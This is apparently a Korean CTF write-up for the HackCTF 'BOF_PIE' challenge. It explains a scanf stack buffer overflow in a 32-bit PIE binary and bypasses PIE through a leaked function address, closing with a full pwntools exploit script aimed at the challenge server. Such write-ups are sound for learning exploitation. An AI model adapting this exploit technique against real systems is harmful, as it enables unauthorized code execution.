System/PWNABLE
[HackCTF] BOF_PIE
ElAsJay
2021. 2. 10. 03:33
728x90
check
- 32 bit
- NX와 PIE가 설정되어 있다 >>
Analyze
pseudo code
- v1에 ebp로부터 0x12 byte 떨어진 곳에 할당하고 scanf("%s")를 통해 v1의 값을 읽어들인다. 이 때 스택 버퍼 오버플로우 취약성이 발생한다.
- welcome 함수의 주소를 출력한다.
- 아무래도 이 문제의 목표는 Return address를 j0n9hyun으로 하여 플래그를 따는 것 같다!
- welcome 함수의 주소가 매번 출력되기 때문에 그 값을 읽어들이고, j0n9hyun과 welcome의 offset은 항상 같으므로 둘의 차(0x909 - 0x890)를 이용해 j0n9hyun함수를 Return address로 덮는다.
실행
Exploit
from pwn import *
#p = process("./bof_pie")
p = remote("ctf.j0n9hyun.xyz", 3008)
p.recvuntil("j0n9hyun is ")
welcome = int(p.recv(10), 16)
j0n9hyun = welcome - (0x909-0x890)
pl = "A"*(0x12+4)
pl += p32(j0n9hyun)
p.sendline(pl)
p.interactive()
SMALL